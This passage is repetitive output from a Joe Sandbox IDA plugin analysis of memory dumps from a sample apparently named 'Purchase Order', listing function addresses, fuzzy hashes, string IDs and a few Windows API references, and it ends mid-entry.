Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-548349879
Opcode ID: 0bdf96185fe4dcbd8dd380aee2745976d283e3de71b975652454d66b3cda773a
Instruction ID: e574014e91161def5044a7021c8d3781d5984558f9ece139884f0671847740cf
Opcode Fuzzy Hash: 0bdf96185fe4dcbd8dd380aee2745976d283e3de71b975652454d66b3cda773a
Instruction Fuzzy Hash: 7651B374E012199FDB04DFA9D891AEEBBB2BF88300F108529E505AB395DB749D46CB90

Function 39CA9E10 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA9EB6
D@, xrefs: 39CA9F81

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-548349879
Opcode ID: 9e467aa0bddbaf6d7704cd3e193e41f42a0cf370d17e2bc8452888909be4dd39
Instruction ID: 3019d959d267961d5410f83797cc7b0b06307c364a26edca1457435a9c4b4072
Opcode Fuzzy Hash: 9e467aa0bddbaf6d7704cd3e193e41f42a0cf370d17e2bc8452888909be4dd39
Instruction Fuzzy Hash: 8E51B374E012199FDB04DFA9D891AEEBBB2FF88300F108429E505B7394DB749946CB90

Function 39CA987F Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

D@, xrefs: 39CA99E8
D@, xrefs: 39CA9931

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-548349879
Opcode ID: e8e949a72b55f8b3150ef53e4257877be4d66c1ddae29b540bda5363011826ea
Instruction ID: 9b9f7fea9258f88265496f8c96c14fa05c3a1bdde583398ec4d0e090e4b245b5
Opcode Fuzzy Hash: e8e949a72b55f8b3150ef53e4257877be4d66c1ddae29b540bda5363011826ea
Instruction Fuzzy Hash: E0519074E002199FDB04DFA9D595AEEBBF1FF89300F20852AD505AB354DB349E46CB90

Function 00113CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00113CF6
Xaq, xrefs: 00113CCD

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: 3c28f6701b9feb48b7932026a4aefcacece5927582b5ec9a021f6d55120d20f3
Instruction ID: e06d7be9e91c231df64a0f700d8f74be1730b41bd114b79bd83a86b0c8d8da1b
Opcode Fuzzy Hash: 3c28f6701b9feb48b7932026a4aefcacece5927582b5ec9a021f6d55120d20f3
Instruction Fuzzy Hash: A531F731B0422587DF1C4AA9A9942FEA9EAAFC4310F544439D826D3398DF74CE8596A1

Function 39AB3AD1 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

8bq, xrefs: 39AB3BA9
TJbq, xrefs: 39AB3BE2

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: d5e4012edc94bca8113030dd7a93e7e96f4d0d56127c2cc93ee330c95f7a6332
Instruction ID: e512218bec130156146d1f7fd0737a2e41010078766a05f18436ae222dd61294
Opcode Fuzzy Hash: d5e4012edc94bca8113030dd7a93e7e96f4d0d56127c2cc93ee330c95f7a6332
Instruction Fuzzy Hash: B5312634B402088FCB44DFA8C591EDDBBBAEF88720F155554E905AF366CA71EC45CB90

Function 39AB3B05 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

8bq, xrefs: 39AB3BA9
TJbq, xrefs: 39AB3BE2

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: 8bq$TJbq
API String ID: 0-3440557903
Opcode ID: 57df125c2388b02aacad951e4618554c3b9ab1eac3db901df89da367b67cbcac
Instruction ID: ae8e3e4dd8bc98bd0b593e2a54484a712d692da2f7e7d6d868eed35069565ef4
Opcode Fuzzy Hash: 57df125c2388b02aacad951e4618554c3b9ab1eac3db901df89da367b67cbcac
Instruction Fuzzy Hash: 07313634B401088FCB44DFA8C591EDEBBBAEF88720F155554E905AF366CA71EC86CB90

Function 00110CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00110F19

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: e18ac973f4675dffe3c9b2313fbb18115776473d011a70b601f5ab47e8357583
Instruction ID: 7138e694a4b6c2d8f7f639847cbc17d53a38311f4b1f7b5709d5ed650a75b8d0
Opcode Fuzzy Hash: e18ac973f4675dffe3c9b2313fbb18115776473d011a70b601f5ab47e8357583
Instruction Fuzzy Hash: 7F52E778A40619CFDB54DF28DD96B8DBBB2FB48301F1085A5D409A7364DB786E86CF80

Function 39F83AA4 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39F83BC2

Memory Dump Source

Source File: 00000004.00000002.3387335769.0000000039F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39f80000_Purchase Order.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 23d95e5db2f81978afe05dc50f0b12d6a805626cffed9cad21f5baeaa2055635
Instruction ID: 4db14d72d1b9c179b58fda15aa8c66bc3557c8260f744264917fbf48e34f717e
Opcode Fuzzy Hash: 23d95e5db2f81978afe05dc50f0b12d6a805626cffed9cad21f5baeaa2055635
Instruction Fuzzy Hash: 3351C1B1D10349DFDB14CFA9C884ADEBBB5FF49310F64852AE419AB210D775A845CF90

Function 39F83AB0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 39F83BC2

Memory Dump Source

Source File: 00000004.00000002.3387335769.0000000039F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39f80000_Purchase Order.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b9c8368fd8ea3c068cc84f986d90b645f9ee1aff7ea01a27468a83d6cfd6ea80
Instruction ID: c4806642c56becdcb2a63a3c1410c913734a60653d1a30ed2dfdd30c8a2b3898
Opcode Fuzzy Hash: b9c8368fd8ea3c068cc84f986d90b645f9ee1aff7ea01a27468a83d6cfd6ea80
Instruction Fuzzy Hash: C341B0B1D143499FDB14CF99C884ADEBBB5FF48310F64862AE819AB210D775A885CF90

Function 39F810A4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 39F862C1

Memory Dump Source

Source File: 00000004.00000002.3387335769.0000000039F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39f80000_Purchase Order.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2b3bf317a31611a7e6d15f396cb1040ac43a3fe88776edefb2acf8941edd653f
Instruction ID: 2f0b164d7958bc3b66b7c5cde13871e8345720716695120bc5579a57c3c19b8c
Opcode Fuzzy Hash: 2b3bf317a31611a7e6d15f396cb1040ac43a3fe88776edefb2acf8941edd653f
Instruction Fuzzy Hash: AF413AB5904309CFDB44DF99C448AAAFBF5FF88310F24C899E518AB321D734A841CBA0

Function 39EA91F0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39EA9277

Memory Dump Source

Source File: 00000004.00000002.3387241222.0000000039EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ea0000_Purchase Order.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4409b51d61ad2a817c016cc9b5a71297acdb46651d4a94a0ad73aa93b9383896
Instruction ID: f96edaac0a87d4bc579d0a516d0787a7e783b747261d467bd2940e950ac92832
Opcode Fuzzy Hash: 4409b51d61ad2a817c016cc9b5a71297acdb46651d4a94a0ad73aa93b9383896
Instruction Fuzzy Hash: 4521C4B59002489FDB10CFAAD984ADEBBF5FF48310F14841AE958A7310D379A944CFA5

Function 39EA91E8 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 39EA9277

Memory Dump Source

Source File: 00000004.00000002.3387241222.0000000039EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ea0000_Purchase Order.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d2003fffc2e7c29cc00f1a9142f5dfe8771499266078581d279ff416193330fd
Instruction ID: ec2ecf91c293ebf54b375637dec96156a142a2feba76637f16f0f61153cc9966
Opcode Fuzzy Hash: d2003fffc2e7c29cc00f1a9142f5dfe8771499266078581d279ff416193330fd
Instruction Fuzzy Hash: 391118B5900209DFDB10CFAAE444AEEBBF4EF49310F24801AE559A7320C338DA50DF61

Function 39F88730 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39F8878D

Memory Dump Source

Source File: 00000004.00000002.3387335769.0000000039F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39f80000_Purchase Order.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: af958a92c935567f26699d2ea0787a81d40e563d716ea5a9f5afab4a2e0de7bf
Instruction ID: 2a864a21d7097262004ad07f8a00e30065e5f92209d3e1925136cdde43844df2
Opcode Fuzzy Hash: af958a92c935567f26699d2ea0787a81d40e563d716ea5a9f5afab4a2e0de7bf
Instruction Fuzzy Hash: 4C1100B5900249CFCB20DFAAD445BEEBFF4EF48310F20885AD569A7210C379A544CFA6

Function 39F87900 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 39F8878D

Memory Dump Source

Source File: 00000004.00000002.3387335769.0000000039F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 39F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39f80000_Purchase Order.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: cec856aa9e705487c23e79e4e0493ab4e3b1139ef95be7f7575ff1704228a38a
Instruction ID: ffac68717185f3bd9041bb7ba60a1dd5799a3a3ce41b76da8cbe946e08386a7c
Opcode Fuzzy Hash: cec856aa9e705487c23e79e4e0493ab4e3b1139ef95be7f7575ff1704228a38a
Instruction Fuzzy Hash: F11115B59043498FDB20DF9AD444B9EBBF4EF48320F248459E528A7300C379A940CFE5

Function 39AB3F10 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

Haq, xrefs: 39AB3FA5

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: c99137fb2fa3aac51e06b7b66739217e22b41a2355aa219f23618c41656cc927
Instruction ID: 2fb776910a3e51f14fc5de6dc7c9a831cd48e16dc4c13eed62ba5e77a53da6ec
Opcode Fuzzy Hash: c99137fb2fa3aac51e06b7b66739217e22b41a2355aa219f23618c41656cc927
Instruction Fuzzy Hash: 2731C371B052489FCB08DFB898545AE7FFAAFC9300B1085BDE949DB262DE348D46C791

Function 00112790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001127BF

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: f61a2f293d5fb555a2b747fff1f72215cc40fcb5439f0330d61b0daf4bb0c12a
Instruction ID: f7aee9eea13a635082c9d2b7407e157ca72dba9e0e784ce27554122a7dae5631
Opcode Fuzzy Hash: f61a2f293d5fb555a2b747fff1f72215cc40fcb5439f0330d61b0daf4bb0c12a
Instruction Fuzzy Hash: B7316834D092498FCB05DFB8D8046EEBFF4EF4A310F0041AAD444EB265EB351A95CBA2

Function 39AB4050 Relevance: 1.3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

Haq, xrefs: 39AB40AE

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: bb71224d073ae0de6ea81497838fbc10c33a05e473a1af0f662ee8169e0ab59b
Instruction ID: 1ab857b878048b61f2eff610ddd663bb77437955f53f23cdee96b2aa3cf8266c
Opcode Fuzzy Hash: bb71224d073ae0de6ea81497838fbc10c33a05e473a1af0f662ee8169e0ab59b
Instruction Fuzzy Hash: D221E6306082859FDB059F68D854AAE7FBAEF89351F1481AAD8458B266CF314E46C741

Function 0011E2A8 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8ca7284bd1a98675fbcc9063bf13b900d7a3b64d1cc3244e6356f607c772b1
Instruction ID: 8822460cdabb51574f1a0a6de68d75f2175e879f0781116350a257718a411b03
Opcode Fuzzy Hash: af8ca7284bd1a98675fbcc9063bf13b900d7a3b64d1cc3244e6356f607c772b1
Instruction Fuzzy Hash: 88129A75421743CFE6442B64EAAD2ABBEA5FB1F3277046C64F00FC18A59B7144CA8F61

Function 0011BD78 Relevance: .4, Instructions: 414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243414a8e6b418d3169cd63de837679e49bbb3b5d2d2e37813e539d8af0fc1bb
Instruction ID: 517dcb9c21bf46a5d6aaa43d4487ca6f5a503ef7cb4bad72b125f1a62484a770
Opcode Fuzzy Hash: 243414a8e6b418d3169cd63de837679e49bbb3b5d2d2e37813e539d8af0fc1bb
Instruction Fuzzy Hash: 43F1FD75A40615DFCB09CF69D984AADBBF6BF89310B198069E515EB362C730EC81CB90

Function 39AB41E8 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386784679.0000000039AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ab0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f192826c5508a054c45b34e26512f338cb8654f41ce1c10e6c95905804bd1f
Instruction ID: 3e4be2e86b03d6d5f362a1bd3acf2984023300fd1a757c1ad72cb191079dd6df
Opcode Fuzzy Hash: 28f192826c5508a054c45b34e26512f338cb8654f41ce1c10e6c95905804bd1f
Instruction Fuzzy Hash: B151F3B5A053059FDB548B7CD8409AEBBFDEFC9720F54862EE819DB651DA309801CB90

Function 00118D98 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 172317d7f434b5bcbdeff3ec961a538044f48ed6b6c108c14413bd0ead27d796
Instruction ID: 25f05358979f4ba7863059c0edc04854b00b224bc6109c71f227dbcbd89d8c29
Opcode Fuzzy Hash: 172317d7f434b5bcbdeff3ec961a538044f48ed6b6c108c14413bd0ead27d796
Instruction Fuzzy Hash: DD7108357006068FCB19DF68C884AAD7BE6AF99700F1580A5F906DB3B1DB74DC82CB91

Function 39D3D0C0 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca8db826ca465196e1f3c37bb0a0db3cf5c545af0bd72a563fe95ca3564114b
Instruction ID: 8d7fab04e6dcebbc28f87d7e6172caf062c18f0ee738a5d72bdfdcc8bf517e44
Opcode Fuzzy Hash: aca8db826ca465196e1f3c37bb0a0db3cf5c545af0bd72a563fe95ca3564114b
Instruction Fuzzy Hash: F6818E74E412299FDB65DF69CD91BDDBBB2BB89300F1080EAD949A7250DB305E81CF81

Function 39CA9098 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 475faf7637764ef72f4425038f267808c10dad8e12687eee7b86a15d28196b9e
Instruction ID: 4050f1e6284c06eed847c04fad709bb71b2d1aa419719a99cbafee9eaccb9047
Opcode Fuzzy Hash: 475faf7637764ef72f4425038f267808c10dad8e12687eee7b86a15d28196b9e
Instruction Fuzzy Hash: 7561C474E012099FEB09DFE9E955ADDBBF2BF88310F14C529E908AB355DA309D42CB50

Function 39D3CDD0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0267dc9fa9702c4eeaaf635f5056bcb46e601c00942d565bb647bb767a029155
Instruction ID: 3fc14ae3a99cee9448168c96122b5b4a279658404e34f4034d3f10706c530349
Opcode Fuzzy Hash: 0267dc9fa9702c4eeaaf635f5056bcb46e601c00942d565bb647bb767a029155
Instruction Fuzzy Hash: FD71D074E01208CFDB08DFA9D991ADDBBB2BF89300F608529D814BB365DB399946CF54

Function 39D36DA0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b2d8119999d13fd250935c932434cce05b4506d59cd532271d3c2b83aa9233c
Instruction ID: fc51e017c372a6ebe41779cb74428f8a7e1544dad9a98377b4704c3eb34f17d9
Opcode Fuzzy Hash: 6b2d8119999d13fd250935c932434cce05b4506d59cd532271d3c2b83aa9233c
Instruction Fuzzy Hash: 1671D274E01208CFDB04DFA9D991ADDBBB2BF89300F608529D814BB365DB39A946CF54

Function 39D47858 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31b7895cc4b33f83820a741d86739a8c47b07dd283523a63b4f6605f8abaa5a1
Instruction ID: 20df301ed92d03034c0326c71ee1ede9513310bde3e52ddc2d422479a1ae2f47
Opcode Fuzzy Hash: 31b7895cc4b33f83820a741d86739a8c47b07dd283523a63b4f6605f8abaa5a1
Instruction Fuzzy Hash: A871C274E00208CFDB04DFA9D991ADDBBB2BF89300F649529D808BB365DB399946CF50

Function 39D41828 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387085241.0000000039D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d40000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88d05a520e26e79e1db502541394a2b485503fa23632ec39ea2c04f5ef828b05
Instruction ID: 374fc8e1ebcc6d7aba28dc9051e6881c1f8500e67ff26cc41e3ec2fa2ae2f294
Opcode Fuzzy Hash: 88d05a520e26e79e1db502541394a2b485503fa23632ec39ea2c04f5ef828b05
Instruction Fuzzy Hash: 4871C274E00208CFDB04DFAAD991ADDBBB6BF89300F249529D804BB365DB399946CF54

Function 0011F281 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38d7123c5030672bb72cc2ac1a95ff7204d4b6ef4479ee0062280a99ee27bb0
Instruction ID: e57b9ff3af5d454a9483e0669629629d09c43dad4f40d182276a1963af12f033
Opcode Fuzzy Hash: f38d7123c5030672bb72cc2ac1a95ff7204d4b6ef4479ee0062280a99ee27bb0
Instruction Fuzzy Hash: 07511274D01218DFDB14CFA5D954BEEBBB2FF88304F204529D809AB2A5DB395986CF41

Function 39D3E050 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4329267da8feea4105588139b6bd0b6e5ac71526f6b9bf3ff7f170e1c2e49964
Instruction ID: c66758a71db80270ba0fe48f5fb0dec3da91356697369cea73bf10e11c20bbd6
Opcode Fuzzy Hash: 4329267da8feea4105588139b6bd0b6e5ac71526f6b9bf3ff7f170e1c2e49964
Instruction Fuzzy Hash: C5619D74E012289FEB65DF69DD91BD9BBB2BB89300F5081A9D50CA72A0DB305E81CF41

Function 0011D869 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8cc7d808e3312747bbb362e7e394488a50da3e8ee59b2ad7a56fd655484439d
Instruction ID: 00643fb3ed87aaa85db64f13086ad690d97561f6ac825052c9619dfc6ca6f7c3
Opcode Fuzzy Hash: d8cc7d808e3312747bbb362e7e394488a50da3e8ee59b2ad7a56fd655484439d
Instruction Fuzzy Hash: 06518074E01218DFDB48DFA9D9949DDBBF2BF89310F208169E809AB365DB30A945CF50

Function 001141A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5edc054754520782668ff4fb8e8d1977554a8dee46c7120b97ed4ed73ee8c86b
Instruction ID: 90e001d952d8f3e820bf1f26d9227698c763be1c62e87d02e00c1ad67aa3eb79
Opcode Fuzzy Hash: 5edc054754520782668ff4fb8e8d1977554a8dee46c7120b97ed4ed73ee8c86b
Instruction Fuzzy Hash: 67518574E01208CFDB08DFA9D58599DBBF2FF89304B209469E819BB364DB35A942CF50

Function 0011AFC3 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3360436029.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_110000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14107079c9f951e2f8bef7119e3ec4971fa9b73322a95acdedf853dbb057fb2d
Instruction ID: ef3697fe79cebc7f27fad71e936a755ac173464c99544b4b3fbb61eae1b37941
Opcode Fuzzy Hash: 14107079c9f951e2f8bef7119e3ec4971fa9b73322a95acdedf853dbb057fb2d
Instruction Fuzzy Hash: DA51A231A08249EFCF19CFA4D894ADEBFB2FF49310F058165E8159B2A1D371E994CB91

Function 39D3ED52 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6060a61cfefc5ec05e04c860589ea3c1cfd7e8161a2786e673931398c2a90a67
Instruction ID: 1d46ee61ad9f2191c3eb9fd28cdae72a22a6ffcdf8dada6cf56b3917642afbd9
Opcode Fuzzy Hash: 6060a61cfefc5ec05e04c860589ea3c1cfd7e8161a2786e673931398c2a90a67
Instruction Fuzzy Hash: 9B510479E01209CFDB04CFA5D5857DDBBF1BB49301F50852AD405B7290DB39694ACFA1

Function 39CA8601 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3386868967.0000000039CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ca0000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf35464d012dbdf22296005b71fa6da9616c2f610f49df3ae565762aa8b90bb
Instruction ID: f727e729bbef140178acee8980996d3f00ee352d0705c8282ce86e7b94bf1803
Opcode Fuzzy Hash: daf35464d012dbdf22296005b71fa6da9616c2f610f49df3ae565762aa8b90bb
Instruction Fuzzy Hash: C3412975E0061A9BDB14CFA5D890ADEBBB5BF88740F648129E405B7240EB70A946CBA0

Function 39D3ED60 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3387027047.0000000039D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d30000_Purchase Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f28c9c4f79b14a36026103cfa04148ae9f27625301e9393d01522a1ae3a69eaa
Instruction ID: 431ec1d5c7afa47087444f714504a9a6e23ac153d63f3ca8f8aeac1a857274e5
Opcode Fuzzy Hash: f28c9c4f79b14a36026103cfa04148ae9f27625301e9393d01522a1ae3a69eaa
Instruction Fuzzy Hash: AD41C078D01209CFDB04CFA5D5857DEBBF2BB48301F50852AD419B72A4EB38694ACF51

Function 39D4F191 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

